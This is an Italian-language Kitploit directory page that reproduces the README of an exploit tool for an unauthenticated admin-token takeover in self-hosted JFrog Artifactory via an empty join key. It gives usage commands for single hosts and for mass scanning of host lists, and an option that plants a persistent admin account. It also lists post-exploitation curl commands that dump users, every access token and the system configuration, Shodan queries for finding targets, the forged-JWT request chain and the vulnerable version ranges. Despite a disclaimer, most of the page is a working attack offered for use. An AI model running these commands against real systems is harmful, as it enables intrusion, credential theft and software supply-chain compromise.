Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-82329-JFrog-Artifactory-Auth-Bypass — Exploit per CVE-2026-82329, un bypass di autenticazione non autenticato in JFrog Artifactory self-hosted, che consente il takeover del token admin tramite una join key vuota. | Kitploit
Strumenti/GitHubGitHub/ynsmroztas/cve-2026-82329-jfrog-artifactory-auth-bypass
Autenticazione e AutorizzazioneScanner di VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubynsmroztas/cve-2026-82329-jfrog-artifactory-auth-bypass

CVE-2026-82329-JFrog-Artifactory-Auth-Bypass

Exploit per CVE-2026-82329, un bypass di autenticazione non autenticato in JFrog Artifactory self-hosted, che consente il takeover del token admin tramite una join key vuota.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
18h 50m faNon ancora revisionato

artifactory.py

artifactory.py — CVE-2026-82329 unauth admin takeover

root@kitploit:~
╔══════════════════════════════════════════════════════════╗
║  artifactory  ·  CVE-2026-82329 unauth admin takeover    ║
║  mitsec       ·  https://x.com/ynsmroztas                ║
╚══════════════════════════════════════════════════════════╝

CVE-2026-82329 — JFrog Artifactory (self-hosted) unauthenticated join-JWT
→ SERVICE admin token → platform applied-permissions/admin access token.

CVSS 9.8 · CWE-287 · CISA KEV · sfruttato in natura.

Solo test autorizzati. Non eseguire questo strumento contro sistemi che non possiedi o per i quali non hai un'autorizzazione scritta.


Cosa fa

Le installazioni self-hosted predefinite si fidano di una join key vuota.

root@kitploit:~
JoinKeyUtils.getSigningKey("")  ==  pkcs7(empty, 32)  ==  32 × 0x20
kid = SHA256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

JFrog cloud-hosted è corretto. Solo self-hosted.

Linea di fix Access: 7.191.14.


Installazione

root@kitploit:~
# solo stdlib — nessun pip
python3 artifactory.py -h

La verifica TLS è disattivata di default (Artifactory con certificato self-signed è normale).
Nessun flag aggiuntivo.


Utilizzo

root@kitploit:~
# singolo host
python3 artifactory.py -u https://artifactory.example.internal:8082

# stampa il token admin coniato
python3 artifactory.py -u https://TARGET:8082 --token

# lista / pipeline (stile httpx, shodan, subfinder)
python3 artifactory.py -l hosts.txt --threads 8
cat hosts.txt | python3 artifactory.py

# Solo Pro / Enterprise — persiste un admin locale (distruttivo)
python3 artifactory.py -u https://TARGET:8082 --create-admin auditor:ChangeMe_1

Output

root@kitploit:~
[VULN]  https://TARGET:8082  join=201 svc_scp=admin admin token scp=applied-permissions/admin aud=* config=200/42020b tokens=200 version=7.161.19
[SAFE]  https://patched:8082  join HTTP 401  (corretto / nessuna chiave vuota)
[FAIL]  https://dead:8082     irraggiungibile
TagSignificato

--token stampa il valore Bearer. Questo è il takeover — un utente di login è opzionale.

--create-admin spesso restituisce 400 su OSS (PUT /artifactory/api/security/users è Pro).
Il token admin funziona comunque. La persistenza non è richiesta per un finding valido.


Dopo un successo — usa il token

Sostituisci TARGET e incolla il token dall'output di --token.

root@kitploit:~
TOKEN='eyJ...'          # output di --token
B='https://TARGET:8082'

# versione / edizione
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/artifactory/api/system/version"

# directory utenti (admin)
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/access/api/v2/users"

# ogni token di accesso sull'istanza
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/access/api/v1/tokens" | head -c 400

# inventario repository
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/artifactory/api/repositories"

Altre letture utili admin-only (non scrivere se non autorizzato):

root@kitploit:~
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/artifactory/api/system/configuration" -o config.xml

curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/artifactory/api/security/users"

curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/access/api/v1/tokens"

UI: Platform → login con Access Token, oppure invia
Authorization: Bearer <token> su ogni richiesta.

Utente persistente opzionale (Pro / Access v2)

root@kitploit:~
curl -sk -D- -X POST "$B/access/api/v2/users" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"username":"auditor","email":"[email protected]","password":"ChangeMe_1Aa","admin":true}'

Password policy 400 ≠ non vulnerabile. Il token ha già aud=*.


Ricognizione

root@kitploit:~
# Shodan
http.component:"Artifactory" port:8081,8082
title:"Artifactory" "JFrog"
http.html:"/artifactory/webapp"
ssl.cert.subject.CN:"artifactory"

# porte comuni
8081  8082  8040  8046  443

Lo strumento rimuove /artifactory /ui /webapp da -u e parla con il router Access sulla stessa origine.


Perché --create-admin non è il finding

Riporta l'impatto come: token amministratore di piattaforma non autenticato.
La creazione utente è un follow-up, non il problema principale.


Riferimenti

  • NVD — CVE-2026-82329
  • Advisory di sicurezza JFrog
  • Release / patch self-managed
  • Lab + diff delle patch: dinosn/cve-2026-82329-jfrog-artifactory

Disclaimer

Questo repository è un validatore per sistemi che sei autorizzato a testare.
Coniare token, elencare utenti o creare account su infrastrutture di terze parti senza permesso è illegale.

Patch: aggiorna alla build corretta per il tuo branch, imposta una join key reale, ruota i token coniati dopo la divulgazione.


mitsec · @ynsmroztas

Scarica lo strumento
PassoRichiestaRisultato
1Forgia join JWT HS256 (iat fresco, skip_node_registration=true)segreto HMAC noto
2POST /access/api/v1/registry/join201 token SERVICE scp=admin
3POST /access/api/v1/tokens200 token admin scp=applied-permissions/admin aud=*
4GET /artifactory/api/system/configurationprova admin-only (unauth = 401)
BranchVulnerabile ≤Corretto
7.1117.111.207.111.21
7.1177.117.277.117.28
7.1257.125.197.125.20
7.1337.133.287.133.29
7.1467.146.377.146.38
7.1617.161.197.161.20
VULNJoin key vuota accettata + prova admin (configuration o lista token = 200)
SAFEJoin rifiutato — corretto, join key aggiuntive impostate, o non Access
INFOJoin coniato, endpoint di prova non 200 — ispeziona manualmente
FAILRete / timeout
SuperficieOSSPro / Enterprise
Conia token di accesso adminsìsì
Legge config / lista token / reposìsì
PUT /artifactory/api/security/users400 solo-Pro200/201
POST /access/api/v2/usersdipende da versione / policy201